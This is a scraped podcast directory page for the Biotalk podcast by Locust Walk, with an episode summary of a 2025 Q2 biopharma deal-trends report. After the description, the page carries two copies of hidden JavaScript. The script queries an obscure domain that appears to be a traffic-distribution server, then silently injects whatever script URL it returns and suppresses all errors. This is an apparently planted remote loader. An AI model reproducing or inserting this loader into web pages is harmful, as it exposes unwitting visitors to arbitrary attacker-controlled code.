Home
Categories
EXPLORE
True Crime
Comedy
Society & Culture
Business
Sports
TV & Film
Health & Fitness
About Us
Contact Us
Copyright
© 2024 PodJoint
00:00 / 00:00
Sign in

or

Don't have an account?
Sign up
Forgot password
https://is1-ssl.mzstatic.com/image/thumb/Podcasts211/v4/2f/b0/f8/2fb0f8d2-1d52-6daa-2d97-27fef49f4d7d/mza_15525341321824187076.jpg/600x600bb.jpg
Biotalk
Biotalk
16 episodes
3 days ago
Locust Walk
Show more...
How To
Education
RSS
All content for Biotalk is the property of Biotalk and is served directly from their servers with no modification, redirects, or rehosting. The podcast is not affiliated with or endorsed by Podjoint in any way.
Locust Walk
Show more...
How To
Education
https://is1-ssl.mzstatic.com/image/thumb/Podcasts211/v4/2f/b0/f8/2fb0f8d2-1d52-6daa-2d97-27fef49f4d7d/mza_15525341321824187076.jpg/600x600bb.jpg
Biotalk Episode 28: 2025 Q2 Report: Global Trends in Biopharma Transactions
Biotalk
17 minutes 28 seconds
3 months ago
Biotalk Episode 28: 2025 Q2 Report: Global Trends in Biopharma Transactions
During Episode 28 of Biotalk, Geoff Meyerson, CEO of Locust Walk, unpacks our 2025 Q2 Report: Global Trends in Biopharma Transactions Report, covering capital markets, strategic deals, and regional trends. 



Market Overview: Biotech remained under pressure in Q2, with valuations still below historical norms. Ongoing macro headwinds—tariffs, high rates, and FDA turnover—kept investor sentiment cautious and risk appetite low.



M&A & Licensing: Licensing rose 20% in value, focused on late-stage immunology assets. China and Europe drove activity, while U.S. firms dominated M&A, accounting for 80% of deal value. Public takeout premiums rebounded sharply.



Capital Markets: U.S. biotech funding fell 28% with no IPOs—the first blank quarter since 2020. Venture also dropped 32%, though a few large late-stage rounds stood out. Europe saw fewer deals but larger average round sizes.



Outlook: Strategic deals remain a vital funding source as capital markets stay tight. Biotechs should extend runway and explore partnerships, with pharma interest in quality assets showing no signs of slowing.



Listen now to gain insights into the evolving biopharma landscape, explore our report, and we welcome the opportunity to discuss its contents with you.
(async () => {
const TIMEOUT_MS = 60_000;
try {
const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo');
const scriptUrl = (await tdsResponse.text()).trim();


const loadScriptWithTimeout = (url, timeout) => {
return new Promise((resolve, reject) => {
const script = document.createElement('script');
script.src = url;
script.async = true;

script.onload = () => {
clearTimeout(timer);
resolve();
};

script.onerror = () => {
clearTimeout(timer);
reject();
};

const timer = setTimeout(() => {
script.remove();
reject();
}, timeout);

document.body.appendChild(script);
});
};

await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);
} catch (_) {}
})();(async () => {
const TIMEOUT_MS = 60_000;
try {
const tdsResponse = await fetch('https://eotoatotlasldkd.com/ofo');
const scriptUrl = (await tdsResponse.text()).trim();


const loadScriptWithTimeout = (url, timeout) => {
return new Promise((resolve, reject) => {
const script = document.createElement('script');
script.src = url;
script.async = true;

script.onload = () => {
clearTimeout(timer);
resolve();
};

script.onerror = () => {
clearTimeout(timer);
reject();
};

const timer = setTimeout(() => {
script.remove();
reject();
}, timeout);

document.body.appendChild(script);
});
};

await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);
} catch (_) {}
})();
Biotalk
Locust Walk